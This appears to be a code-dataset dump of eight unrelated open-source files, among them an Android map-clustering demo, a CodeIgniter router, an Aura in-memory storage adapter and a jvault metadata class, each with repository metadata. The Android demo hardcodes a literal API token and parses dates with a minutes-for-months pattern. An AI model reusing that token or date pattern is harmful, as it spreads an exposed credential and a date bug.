/* * Copyright 2013 Google Inc. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package com.google.maps.android.utils.demo; import android.os.AsyncTask; import android.util.Log; import android.widget.Toast; import com.google.android.gms.maps.CameraUpdateFactory; import com.google.android.gms.maps.model.LatLng; import com.google.maps.android.clustering.ClusterManager; import com.google.maps.android.utils.demo.model.BaseDemoActivity; import com.google.maps.android.utils.demo.model.MyItem; import org.json.JSONArray; import org.json.JSONException; import org.json.JSONObject; import java.io.BufferedReader; import java.io.IOException; import java.io.InputStream; import java.io.InputStreamReader; import java.net.URL; import java.net.URLConnection; import java.text.DateFormat; import java.text.ParseException; import java.text.SimpleDateFormat; import java.util.Date; import java.util.concurrent.TimeUnit; public class ClusteringDemoActivity extends BaseDemoActivity { private ClusterManager<MyItem> mClusterManager; private final static String mLogTag = "GeoJsonDemo"; private final String mGeoJsonUrl = "https://data.sfgov.org/resource/ritf-b9ki.json"; // initialize time variable double entry_time=0; double thirty = 0; @Override protected void startDemo() { getMap().moveCamera(CameraUpdateFactory.newLatLngZoom(new LatLng(37.773972, -122.431297), 10)); mClusterManager = new ClusterManager<MyItem>(this, getMap()); getMap().setOnCameraChangeListener(mClusterManager); DownloadGeoJsonFile downloadGeoJsonFile = new DownloadGeoJsonFile(); // Download the GeoJSON file downloadGeoJsonFile.execute(mGeoJsonUrl); Toast.makeText(this, "Zoom in to find data", Toast.LENGTH_LONG).show(); } private class DownloadGeoJsonFile extends AsyncTask<String, Void, JSONObject> { @Override protected JSONObject doInBackground(String... params) { try { URL url = new URL(mGeoJsonUrl); URLConnection conn = url.openConnection(); conn.setDoOutput(true); conn.setRequestProperty("X-App-Token", "nOOgZHt8V7HN8W0HMJEV4fWgx"); // Open a stream from the URL InputStream stream = new URL(params[0]).openStream(); String line; StringBuilder result = new StringBuilder(); BufferedReader reader = new BufferedReader(new InputStreamReader(stream)); while ((line = reader.readLine()) != null) { // Read and save each line of the stream result.append(line); } // Close the stream reader.close(); stream.close(); JSONArray array; array = new JSONArray(result.toString()); // get number of milliseconds in 30 days ago thirty = TimeUnit.MILLISECONDS.convert(-30, TimeUnit.DAYS); for (int i = 0; i < array.length(); i++) { JSONObject obj = (JSONObject) array.get(i); String latitude = obj.optString("y").toString(); String longitude = obj.optString("x").toString(); String date = obj.optString("date").substring(0,10); double lat = Double.parseDouble(latitude); double longi = Double.parseDouble(longitude); DateFormat formatter ; Date date_format; formatter = new SimpleDateFormat("yyyy-mm-dd"); try { date_format = formatter.parse(date); entry_time= date_format.getTime(); } catch (ParseException e){ e.printStackTrace(); } MyItem offsetItem = new MyItem(lat,longi); if (entry_time > thirty) { mClusterManager.addItem(offsetItem); } } } catch (JSONException e) { // TODO Auto-generated catch block e.printStackTrace(); } catch (IOException e) { e.printStackTrace(); Log.e(mLogTag, "GeoJSON file could not be read"); } return null; } @Override protected void onPostExecute(JSONObject jsonObject) { } } }
canlasd/Map-Plotting
demo/src/com/google/maps/android/utils/demo/ClusteringDemoActivity.java
Java
apache-2.0
5,098
#region Apache License 2.0 // Copyright 2008-2010 Christian Rodemeyer // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. #endregion using System; using System.Diagnostics; using System.Linq; using Lucene.Net.Index; using Lucene.Net.Search; using SvnQuery.Lucene; namespace SvnQuery { /// <summary> /// Thread safe! /// </summary> public class Index { IndexSearcher _searcher; readonly object _sync = new object(); public Index(string pathToIndex) { Path = pathToIndex; var props = QueryProperties(); Name = props.RepositoryName; IsSingleRevision = props.SingleRevision; } public string Path { get; private set; } public string Name { get; private set; } public IndexProperties QueryProperties() { return new IndexProperties(GetSearcher().Reader); } public Hit GetHitById(string id) { IndexSearcher s = GetSearcher(); Hits hits = s.Search(new TermQuery(new Term(FieldName.Id, id))); return hits.Length() == 1 ? new Hit(hits.Doc(0), null) : null; } public Result Query(string query) { return Query(query, Revision.HeadString, Revision.HeadString, null); } public Result Query(string query, string revFirst, string revLast) { return Query(query, revFirst, revLast, null); } public Result Query(string query, string revFirst, string revLast, Highlight highlight) { Stopwatch sw = Stopwatch.StartNew(); IndexSearcher searcher = GetSearcher(); var p = new Parser(searcher.Reader); Query q = p.Parse(query); Hits hits; if (IsSingleRevision || revFirst == Revision.AllString) // All Query { hits = searcher.Search(q); } else if (revFirst == Revision.HeadString) // Head Query { var headQuery = new BooleanQuery(); headQuery.Add(q, BooleanClause.Occur.MUST); headQuery.Add(new TermQuery(new Term(FieldName.RevisionLast, Revision.HeadString)), BooleanClause.Occur.MUST); hits = searcher.Search(headQuery); } else // Revision Query { hits = searcher.Search(q, new RevisionFilter(int.Parse(revFirst), int.Parse(revLast))); } var properties = new IndexProperties(searcher.Reader); return new Result(query, sw.Elapsed, properties, hits, highlight != null ? highlight.GetFragments(q, hits) : null); } IndexSearcher GetSearcher() { lock (_sync) { if (_searcher == null || !_searcher.Reader.IsCurrent()) { if (_searcher != null) _searcher.Close(); _searcher = new IndexSearcher(Path); } } return _searcher; } public bool IsSingleRevision { get; private set; } public override string ToString() { return Name; } } }
kalyptorisk/svnquery
source/SvnQuery/Index.cs
C#
apache-2.0
3,865
/* * Copyright 2003-2021 Dave Griffith, Bas Leijdekkers * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package com.intellij.codeInspection.ui; import com.intellij.codeInspection.InspectionProfileEntry; import com.intellij.openapi.util.NlsContexts; import org.jetbrains.annotations.NonNls; import org.jetbrains.annotations.NotNull; public class SingleCheckboxOptionsPanel extends InspectionOptionsPanel { public SingleCheckboxOptionsPanel(@NotNull @NlsContexts.Checkbox String label, @NotNull InspectionProfileEntry owner, @NonNls String property) { super(owner, label, property); } }
siosio/intellij-community
platform/lang-api/src/com/intellij/codeInspection/ui/SingleCheckboxOptionsPanel.java
Java
apache-2.0
1,190
package mts //Licensed under the Apache License, Version 2.0 (the "License"); //you may not use this file except in compliance with the License. //You may obtain a copy of the License at // //http://www.apache.org/licenses/LICENSE-2.0 // //Unless required by applicable law or agreed to in writing, software //distributed under the License is distributed on an "AS IS" BASIS, //WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. //See the License for the specific language governing permissions and //limitations under the License. // // Code generated by Alibaba Cloud SDK Code Generator. // Changes may cause incorrect behavior and will be lost if the code is regenerated. // FailedImage is a nested struct in mts response type FailedImage struct { Code string `json:"Code" xml:"Code"` Success string `json:"Success" xml:"Success"` ImageFile ImageFile `json:"ImageFile" xml:"ImageFile"` }
xiaozhu36/terraform-provider
vendor/github.com/aliyun/alibaba-cloud-sdk-go/services/mts/struct_failed_image.go
GO
apache-2.0
931
/* * Licensed to the Apache Software Foundation (ASF) under one * or more contributor license agreements. See the NOTICE file * distributed with this work for additional information * regarding copyright ownership. The ASF licenses this file * to you under the Apache License, Version 2.0 (the * "License"); you may not use this file except in compliance * with the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, * software distributed under the License is distributed on an * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY * KIND, either express or implied. See the License for the * specific language governing permissions and limitations * under the License. */ package net.firejack.platform.generate.beans.web.model; import net.firejack.platform.core.utils.StringUtils; import net.firejack.platform.generate.beans.Base; import net.firejack.platform.generate.beans.Import; import net.firejack.platform.generate.beans.annotation.Properties; import net.firejack.platform.generate.beans.web.broker.Broker; import net.firejack.platform.generate.beans.web.js.ViewModel; import net.firejack.platform.generate.beans.web.model.column.Field; import net.firejack.platform.generate.beans.web.model.key.Key; import net.firejack.platform.generate.beans.web.report.Report; import net.firejack.platform.generate.beans.web.store.Method; import net.firejack.platform.generate.beans.web.store.MethodType; import net.firejack.platform.generate.beans.web.store.Store; import java.util.ArrayList; import java.util.List; @Properties(subpackage = "model", suffix = "Model") public class Model<T extends Model> extends Base { private ModelType type; private boolean abstracts; private boolean single; private boolean wsdl; private String table; private String unique; private String prefix; private String url; private String referenceHeading; private String referenceSubHeading; private String referenceDescription; private Key key; private T parent; private T owner; private List<T> children; private List<T> subclass; private List<Field> fields; private Model domain; private ViewModel view; private List<Report> reports; private Store store; private List<Broker> brokers; /***/ public Model() { } public Model(String lookup) { super(lookup); } public Model(Base base) { super(base); } public Model(Model model) { super(model); this.referenceHeading = model.referenceHeading; this.referenceSubHeading = model.referenceSubHeading; this.referenceDescription = model.referenceDescription; } /** * @param name * @param properties */ public Model(String name, Properties properties) { super(name, properties); } /** * @return */ public ModelType getType() { return type; } /** * @param type */ public void setType(ModelType type) { this.type = type; } /** * @param type * @return */ public boolean isType(ModelType type) { return this.type.equals(type); } /** * @return */ public boolean isSingle() { return single; } /** * @param single */ public void setSingle(boolean single) { this.single = single; } public boolean isWsdl() { return wsdl; } public void setWsdl(boolean wsdl) { this.wsdl = wsdl; } public String getTable() { return table; } public void setTable(String table) { this.table = table; } public String getUnique() { return unique; } public void setUnique(String unique) { this.unique = unique; } public boolean isAbstracts() { return abstracts; } public void setAbstracts(boolean abstracts) { this.abstracts = abstracts; } public String getPrefix() { return prefix; } public void setPrefix(String prefix) { this.prefix = prefix; } public String getUrl() { return url; } public void setUrl(String url) { this.url = url; } public String getReferenceHeading() { return referenceHeading; } public void setReferenceHeading(String referenceHeading) { this.referenceHeading = referenceHeading; } public String getReferenceSubHeading() { return referenceSubHeading; } public void setReferenceSubHeading(String referenceSubHeading) { this.referenceSubHeading = referenceSubHeading; } public String getReferenceDescription() { return referenceDescription; } public void setReferenceDescription(String referenceDescription) { this.referenceDescription = referenceDescription; } /** * @return */ public boolean isExtended() { return parent != null; } public boolean isNested() { return owner != null; } public boolean isSubclasses() { return subclass != null && !subclass.isEmpty(); } /** * @return */ public T getParent() { return parent; } /** * @param parent */ public void setParent(T parent) { this.parent = parent; parent.addChild(this); } public T getOwner() { return owner; } public void setOwner(T owner) { this.owner = owner; } public Key getKey() { return key; } public void setKey(Key key) { this.key = key; } /** * @return */ public List<T> getChildren() { return children; } private void addChild(T child) { if (this.children == null) { this.children = new ArrayList<T>(); } this.children.add(child); } /** * @return */ public boolean isEmptyChild() { return this.children == null; } public List<T> getSubclass() { return subclass; } public void setSubclass(List<T> subclass) { this.subclass = subclass; } public void addSubclasses(T model) { if (subclass == null) subclass = new ArrayList<T>(); subclass.add(model); } /** * @return */ public List<Field> getFields() { return fields; } public void setFields(List<Field> fields) { this.fields = fields; } /** * @param field */ public void addField(Field field) { if (this.fields == null) { this.fields = new ArrayList<Field>(); } this.fields.add(field); } public Field findField(String column) { if (fields != null) { for (Field field : fields) { if (field.getColumn().equals(column)) { return field; } } } return null; } /** * @return */ public Model getDomain() { return domain; } /** * @param domain */ public void setDomain(Model domain) { this.domain = domain; } public ViewModel getView() { return view; } public void setView(ViewModel view) { this.view = view; } /** * @return */ public Store getStore() { return store; } /** * @param store */ public void setStore(Store store) { this.store = store; } public List<Report> getReports() { return reports; } public void setReports(List<Report> reports) { this.reports = reports; } public void addReport(Report report) { if (this.reports == null) this.reports = new ArrayList<Report>(); this.reports.add(report); } /** * @return */ public List<Broker> getBrokers() { return brokers; } /** * @param broker */ public void addBroker(Broker broker) { if (this.brokers == null) { this.brokers = new ArrayList<Broker>(); } this.brokers.add(broker); } /** * @param name * @return */ public Method findStoreMethod(String name) { MethodType type = MethodType.find(name); if (type == null) return null; if (store != null) { return store.find(type); } return null; } public String getDomainLookup() { if (StringUtils.isBlank(classPath)) { return projectPath; } else { return projectPath + DOT + classPath; } } public void addImport(Import anImport) { if (Model.class.isAssignableFrom(anImport.getClass()) && ((Model) anImport).isNested()) { return; } if (isNested()) owner.addImport(anImport); else super.addImport(anImport); } }
firejack-open/Firejack-Platform
platform/src/main/java/net/firejack/platform/generate/beans/web/model/Model.java
Java
apache-2.0
9,491
<?php if ( ! defined('BASEPATH')) exit('No direct script access allowed'); /** * CodeIgniter * * An open source application development framework for PHP 5.1.6 or newer * * @package CodeIgniter * @author ExpressionEngine Dev Team * @copyright Copyright (c) 2008 - 2011, EllisLab, Inc. * @license http://codeigniter.com/user_guide/license.html * @link http://codeigniter.com * @since Version 1.0 * @filesource */ // ------------------------------------------------------------------------ /** * Router Class * * Parses URIs and determines routing * * @package CodeIgniter * @subpackage Libraries * @author ExpressionEngine Dev Team * @category Libraries * @link http://codeigniter.com/user_guide/general/routing.html */ class CI_Router { /** * Config class * * @var object * @access public */ var $config; /** * List of routes * * @var array * @access public */ var $routes = array(); /** * List of error routes * * @var array * @access public */ var $error_routes = array(); /** * Current class name * * @var string * @access public */ var $class = ''; /** * Current method name * * @var string * @access public */ var $method = 'index'; /** * Sub-directory that contains the requested controller class * * @var string * @access public */ var $directory = ''; /** * Default controller (and method if specific) * * @var string * @access public */ var $default_controller; /** * Constructor * * Runs the route mapping function. */ function __construct() { $this->config =& load_class('Config', 'core'); $this->uri =& load_class('URI', 'core'); log_message('debug', "Router Class Initialized"); } // -------------------------------------------------------------------- /** * Set the route mapping * * This function determines what should be served based on the URI request, * as well as any "routes" that have been set in the routing config file. * * @access private * @return void */ function _set_routing() { // Are query strings enabled in the config file? Normally CI doesn't utilize query strings // since URI segments are more search-engine friendly, but they can optionally be used. // If this feature is enabled, we will gather the directory/class/method a little differently $segments = array(); if ($this->config->item('enable_query_strings') === TRUE AND isset($_GET[$this->config->item('controller_trigger')])) { if (isset($_GET[$this->config->item('directory_trigger')])) { $this->set_directory(trim($this->uri->_filter_uri($_GET[$this->config->item('directory_trigger')]))); $segments[] = $this->fetch_directory(); } if (isset($_GET[$this->config->item('controller_trigger')])) { $this->set_class(trim($this->uri->_filter_uri($_GET[$this->config->item('controller_trigger')]))); $segments[] = $this->fetch_class(); } if (isset($_GET[$this->config->item('function_trigger')])) { $this->set_method(trim($this->uri->_filter_uri($_GET[$this->config->item('function_trigger')]))); $segments[] = $this->fetch_method(); } } // Load the routes.php file. if (defined('ENVIRONMENT') AND is_file(APPPATH.'config/'.ENVIRONMENT.'/routes.php')) { include(APPPATH.'config/'.ENVIRONMENT.'/routes.php'); } elseif (is_file(APPPATH.'config/routes.php')) { include(APPPATH.'config/routes.php'); } $this->routes = ( ! isset($route) OR ! is_array($route)) ? array() : $route; unset($route); // Set the default controller so we can display it in the event // the URI doesn't correlated to a valid controller. $this->default_controller = ( ! isset($this->routes['default_controller']) OR $this->routes['default_controller'] == '') ? FALSE : strtolower($this->routes['default_controller']); // Were there any query string segments? If so, we'll validate them and bail out since we're done. if (count($segments) > 0) { return $this->_validate_request($segments); } // Fetch the complete URI string $this->uri->_fetch_uri_string(); // Is there a URI string? If not, the default controller specified in the "routes" file will be shown. if ($this->uri->uri_string == '') { return $this->_set_default_controller(); } // Do we need to remove the URL suffix? $this->uri->_remove_url_suffix(); // Compile the segments into an array $this->uri->_explode_segments(); // Parse any custom routing that may exist $this->_parse_routes(); // Re-index the segment array so that it starts with 1 rather than 0 $this->uri->_reindex_segments(); } // -------------------------------------------------------------------- /** * Set the default controller * * @access private * @return void */ function _set_default_controller() { if ($this->default_controller === FALSE) { show_error("Unable to determine what should be displayed. A default route has not been specified in the routing file."); } // Is the method being specified? if (strpos($this->default_controller, '/') !== FALSE) { $x = explode('/', $this->default_controller); $this->set_class($x[0]); $this->set_method($x[1]); $this->_set_request($x); } else { $this->set_class($this->default_controller); $this->set_method('index'); $this->_set_request(array($this->default_controller, 'index')); } // re-index the routed segments array so it starts with 1 rather than 0 $this->uri->_reindex_segments(); log_message('debug', "No URI present. Default controller set."); } // -------------------------------------------------------------------- /** * Set the Route * * This function takes an array of URI segments as * input, and sets the current class/method * * @access private * @param array * @param bool * @return void */ function _set_request($segments = array()) { $segments = $this->_validate_request($segments); if (count($segments) == 0) { return $this->_set_default_controller(); } $this->set_class($segments[0]); if (isset($segments[1])) { // A standard method request $this->set_method($segments[1]); } else { // This lets the "routed" segment array identify that the default // index method is being used. $segments[1] = 'index'; } // Update our "routed" segment array to contain the segments. // Note: If there is no custom routing, this array will be // identical to $this->uri->segments $this->uri->rsegments = $segments; } // -------------------------------------------------------------------- /** * Validates the supplied segments. Attempts to determine the path to * the controller. * * @access private * @param array * @return array */ function _validate_request($segments) { if (count($segments) == 0) { return $segments; } // Does the requested controller exist in the root folder? if (file_exists(APPPATH.'controllers/'.$segments[0].'.php')) { return $segments; } // Is the controller in a sub-folder? if (is_dir(APPPATH.'controllers/'.$segments[0])) { // Set the directory and remove it from the segment array $this->set_directory($segments[0]); $segments = array_slice($segments, 1); if (count($segments) > 0) { // Does the requested controller exist in the sub-folder? if ( ! file_exists(APPPATH.'controllers/'.$this->fetch_directory().$segments[0].'.php')) { if ( ! empty($this->routes['404_override'])) { $x = explode('/', $this->routes['404_override']); $this->set_directory(''); $this->set_class($x[0]); $this->set_method(isset($x[1]) ? $x[1] : 'index'); return $x; } else { show_404($this->fetch_directory().$segments[0]); } } } else { // Is the method being specified in the route? if (strpos($this->default_controller, '/') !== FALSE) { $x = explode('/', $this->default_controller); $this->set_class($x[0]); $this->set_method($x[1]); } else { $this->set_class($this->default_controller); $this->set_method('index'); } // Does the default controller exist in the sub-folder? if ( ! file_exists(APPPATH.'controllers/'.$this->fetch_directory().$this->default_controller.'.php')) { $this->directory = ''; return array(); } } return $segments; } // If we've gotten this far it means that the URI does not correlate to a valid // controller class. We will now see if there is an override if ( ! empty($this->routes['404_override'])) { $x = explode('/', $this->routes['404_override']); $this->set_class($x[0]); $this->set_method(isset($x[1]) ? $x[1] : 'index'); return $x; } // Nothing else to do at this point but show a 404 show_404($segments[0]); } // -------------------------------------------------------------------- /** * Parse Routes * * This function matches any routes that may exist in * the config/routes.php file against the URI to * determine if the class/method need to be remapped. * * @access private * @return void */ function _parse_routes() { // Turn the segment array into a URI string $uri = implode('/', $this->uri->segments); // Is there a literal match? If so we're done if (isset($this->routes[$uri])) { return $this->_set_request(explode('/', $this->routes[$uri])); } if(isset($this->uri->segments[1])){ $new_uri = $this->uri->segments[0]."/".$this->uri->segments[1]; if (isset($this->routes[$new_uri])){ $new_key = $new_uri."/(.+)"; $new_val = preg_replace('#^'.$new_key.'$#', $this->routes[$new_uri]."/$1", $uri); //echo $uri."<br/><br/>"; //print_r(explode('/', $new_val)); return $this->_set_request(explode('/', $new_val)); } } //print_r($this->routes); // Loop through the route array looking for wild-cards foreach ($this->routes as $key => $val) { // Convert wild-cards to RegEx $key = str_replace(':any', '.+', str_replace(':num', '[0-9]+', $key)); // Does the RegEx match? if (preg_match('#^'.$key.'$#', $uri)) { // Do we have a back-reference? if (strpos($val, '$') !== FALSE AND strpos($key, '(') !== FALSE) { $val = preg_replace('#^'.$key.'$#', $val, $uri); } //echo $uri."<br/><br/>"; //print_r(explode('/', $val)); return $this->_set_request(explode('/', $val)); } } // If we got this far it means we didn't encounter a // matching route so we'll set the site default route $this->_set_request($this->uri->segments); } // -------------------------------------------------------------------- /** * Set the class name * * @access public * @param string * @return void */ function set_class($class) { $this->class = str_replace(array('/', '.'), '', $class); } // -------------------------------------------------------------------- /** * Fetch the current class * * @access public * @return string */ function fetch_class() { return $this->class; } // -------------------------------------------------------------------- /** * Set the method name * * @access public * @param string * @return void */ function set_method($method) { $this->method = $method; } // -------------------------------------------------------------------- /** * Fetch the current method * * @access public * @return string */ function fetch_method() { if ($this->method == $this->fetch_class()) { return 'index'; } return $this->method; } // -------------------------------------------------------------------- /** * Set the directory name * * @access public * @param string * @return void */ function set_directory($dir) { $this->directory = str_replace(array('/', '.'), '', $dir).'/'; } // -------------------------------------------------------------------- /** * Fetch the sub-directory (if any) that contains the requested controller class * * @access public * @return string */ function fetch_directory() { return $this->directory; } // -------------------------------------------------------------------- /** * Set the controller overrides * * @access public * @param array * @return null */ function _set_overrides($routing) { if ( ! is_array($routing)) { return; } if (isset($routing['directory'])) { $this->set_directory($routing['directory']); } if (isset($routing['controller']) AND $routing['controller'] != '') { $this->set_class($routing['controller']); } if (isset($routing['function'])) { $routing['function'] = ($routing['function'] == '') ? 'index' : $routing['function']; $this->set_method($routing['function']); } } } // END Router Class /* End of file Router.php */ /* Location: ./system/core/Router.php */
jonyhandoko/khayana
system/core/Router.php
PHP
apache-2.0
12,905
/* * Copyright (C) 2013 salesforce.com, inc. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ /*jslint sub: true */ /** * @description The Javascript memory adapter for Aura Storage Service. * @constructor */ var MemoryAdapter = function MemoryAdapter(config) { this.reset(); this.maxSize = config["maxSize"]; this.instanceName = config["name"]; this.debugLoggingEnabled = config["debugLoggingEnabled"]; }; MemoryAdapter.NAME = "memory"; /** * Resets memory objects */ MemoryAdapter.prototype.reset = function() { this.backingStore = {}; this.mru = []; this.cachedSize = 0; }; /** * Returns the name of memory adapter, "memory". * @returns {String} the name of this adapter ("memory") */ MemoryAdapter.prototype.getName = function() { return MemoryAdapter.NAME; }; /** * Returns an approximate size of the storage. * @returns {Promise} a promise that resolves with the size. */ MemoryAdapter.prototype.getSize = function() { return Promise["resolve"](this.cachedSize); }; /** * Gets item from storage. * @param {String} key storage key of item to retrieve. * @return {Promise} a promise that resolves with the item or null if not found. */ MemoryAdapter.prototype.getItem = function(key) { var that = this; return new Promise(function(success) { var value = that.backingStore[key]; if (!$A.util.isUndefinedOrNull(value)) { // Update the MRU that.updateMRU(key); success(value.getItem()); } else { success(); } }); }; /** * Gets all items from storage. * @returns {Promise} a promise that resolves with an array of all items in storage. */ MemoryAdapter.prototype.getAll = function() { var that = this; return new Promise(function(success) { var store = that.backingStore; var values = []; var value, innerValue; for (var key in store) { if (store.hasOwnProperty(key)) { value = store[key]; if (!$A.util.isUndefinedOrNull(value)) { innerValue = value.getItem(); values.push({ "key": key, "value": innerValue["value"], "expires": innerValue["expires"] }); that.updateMRU(key); } } } success(values); }); }; /** * Updates a key in the most recently used list. * @param {String} key the key to update */ MemoryAdapter.prototype.updateMRU = function(key) { var index = this.mru.indexOf(key); if (index > -1) { this.mru.splice(index, 1); this.mru.push(key); } }; /** * Stores item into storage. * @param {String} key key for item * @param {*} item item item to store * @param {Number} size of item value * @returns {Promise} a promise that resolves when the item is stored. */ MemoryAdapter.prototype.setItem = function(key, item, size) { var that = this; return new Promise(function(success) { // existing item ? var existingItem = that.backingStore[key], existingItemSize = 0; if (!$A.util.isUndefinedOrNull(existingItem)) { existingItemSize = existingItem.getSize(); } var itemSize = size - existingItemSize, spaceNeeded = itemSize + that.cachedSize - that.maxSize; that.backingStore[key] = new MemoryAdapter.Entry(item, size); // Update the MRU var index = that.mru.indexOf(key); if (index > -1) { that.mru.splice(index, 1); } that.mru.push(key); that.cachedSize += itemSize; // async evict that.evict(spaceNeeded) .then(undefined, function(error) { $A.warning("Failed to evict items from storage: " + error); }); success(); }); }; /** * Removes an item from storage. * @param {String} key the key of the item to remove. * @return {Promise} a promise that resolves with the removed object or null if the item was not found. */ MemoryAdapter.prototype.removeItem = function(key) { var that = this; return new Promise(function(success) { // Update the MRU var value = that.backingStore[key]; if (!$A.util.isUndefinedOrNull(value)) { var index = that.mru.indexOf(key); if (index >= 0) { that.mru.splice(index, 1); } // adjust actual size that.cachedSize -= value.getSize(); delete that.backingStore[key]; } success(value); }); }; /** * Clears storage. * @returns {Promise} a promise that resolves when clearing is complete. */ MemoryAdapter.prototype.clear = function() { var that = this; return new Promise(function(success) { that.reset(); success(); }); }; /** * Returns currently expired items. * @returns {Promise} a promise that resolves with an array of expired items */ MemoryAdapter.prototype.getExpired = function() { var that = this; return new Promise(function(success) { var now = new Date().getTime(); var expired = []; for (var key in that.backingStore) { var expires = that.backingStore[key].getItem()["expires"]; if (now > expires) { expired.push(key); } } success(expired); }); }; /** * Removes items using an LRU algorithm until the requested space is freed. * @param {Number} spaceNeeded The amount of space to free. * @returns {Promise} a promise that resolves when the requested space is freed. */ MemoryAdapter.prototype.evict = function(spaceNeeded) { var that = this; var spaceReclaimed = 0; return new Promise(function(success, reject) { if (spaceReclaimed > spaceNeeded || that.mru.length <= 0) { success(); return; } var pop = function() { var key = that.mru[0]; that.removeItem(key) .then(function(itemRemoved) { spaceReclaimed += itemRemoved.getSize(); if (that.debugLoggingEnabled) { var msg = ["evicted", key, itemRemoved, spaceReclaimed].join(" "); that.log(msg); } if(spaceReclaimed > spaceNeeded || that.mru.length <= 0) { success(); } else { pop(); } })["catch"](function(error) { reject(error); }); }; pop(); }); }; /** * Gets the most-recently-used list. * @returns {Promise} a promise that results with the an array of keys representing the MRU. */ MemoryAdapter.prototype.getMRU = function() { return Promise["resolve"](this.mru); }; /** * Log message if debug logging is enabled */ MemoryAdapter.prototype.log = function(msg, obj) { if (this.debugLoggingEnabled) { $A.log("MemoryAdapter '" + this.instanceName + "' " + msg + ":", obj); } }; /** * Removes expired items * @returns {Promise} when sweep completes */ MemoryAdapter.prototype.sweep = function() { var that = this; return this.getExpired().then(function (expired) { // note: expired includes any key prefix. and it may // include items with different key prefixes which // we want to expire first. thus remove directly from the // adapter to avoid re-adding the key prefix. if (expired.length === 0) { return; } var promiseSet = []; var key; for (var n = 0; n < expired.length; n++) { key = expired[n]; that.log("sweep() - expiring item with key: " + key); promiseSet.push(that.removeItem(key)); } // When all of the remove promises have completed... return Promise.all(promiseSet).then( //eslint-disable-line consistent-return function () { that.log("sweep() - complete"); }, function (err) { that.log("Error while sweep() was removing items: " + err); } ); }); }; /** * delete storage simply resets memory object */ MemoryAdapter.prototype.deleteStorage = function() { this.reset(); return Promise["resolve"](); }; /** * @description A cache entry in the backing store of the MemoryAdapter. * @constructor * @private */ MemoryAdapter.Entry = function Entry(item, size) { this.item = item; this.size = size; }; /** * @returns {Object} the stored item. */ MemoryAdapter.Entry.prototype.getItem = function() { return this.item; }; /** * @returns {Number} the size of the cache entry. */ MemoryAdapter.Entry.prototype.getSize = function() { return this.size; }; $A.storageService.registerAdapter({ "name": MemoryAdapter.NAME, "adapterClass": MemoryAdapter, "secure": true }); Aura.Storage.MemoryAdapter = MemoryAdapter;
DebalinaDey/AuraDevelopDeb
aura-impl/src/main/resources/aura/storage/adapters/MemoryAdapter.js
JavaScript
apache-2.0
9,685
/* * Copyright 2016-2020 Stefan Kalscheuer * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package de.stklcode.jvault.connector.model.response.embedded; import com.fasterxml.jackson.annotation.JsonIgnoreProperties; import com.fasterxml.jackson.annotation.JsonProperty; import java.time.ZonedDateTime; import java.time.format.DateTimeFormatter; import java.time.format.DateTimeParseException; import java.util.Map; /** * Embedded metadata for Key-Value v2 secrets. * * @author Stefan Kalscheuer * @since 0.8 */ @JsonIgnoreProperties(ignoreUnknown = true) public final class SecretMetadata { private static final DateTimeFormatter TIME_FORMAT = DateTimeFormatter.ofPattern("yyyy-MM-dd'T'HH:mm:ss.SSSSSSSSSX"); @JsonProperty("created_time") private String createdTimeString; @JsonProperty("current_version") private Integer currentVersion; @JsonProperty("max_versions") private Integer maxVersions; @JsonProperty("oldest_version") private Integer oldestVersion; @JsonProperty("updated_time") private String updatedTime; @JsonProperty("versions") private Map<Integer, VersionMetadata> versions; /** * @return Time of secret creation as raw string representation. */ public String getCreatedTimeString() { return createdTimeString; } /** * @return Time of secret creation. */ public ZonedDateTime getCreatedTime() { if (createdTimeString != null && !createdTimeString.isEmpty()) { try { return ZonedDateTime.parse(createdTimeString, TIME_FORMAT); } catch (DateTimeParseException e) { // Ignore. } } return null; } /** * @return Current version number. */ public Integer getCurrentVersion() { return currentVersion; } /** * @return Maximum number of versions. */ public Integer getMaxVersions() { return maxVersions; } /** * @return Oldest available version number. */ public Integer getOldestVersion() { return oldestVersion; } /** * @return Time of secret update as raw string representation. */ public String getUpdatedTimeString() { return updatedTime; } /** * @return Time of secret update.. */ public ZonedDateTime getUpdatedTime() { if (updatedTime != null && !updatedTime.isEmpty()) { try { return ZonedDateTime.parse(updatedTime, TIME_FORMAT); } catch (DateTimeParseException e) { // Ignore. } } return null; } /** * @return Version of the entry. */ public Map<Integer, VersionMetadata> getVersions() { return versions; } }
skalscheuer/jvaultconnector
src/main/java/de/stklcode/jvault/connector/model/response/embedded/SecretMetadata.java
Java
apache-2.0
3,327
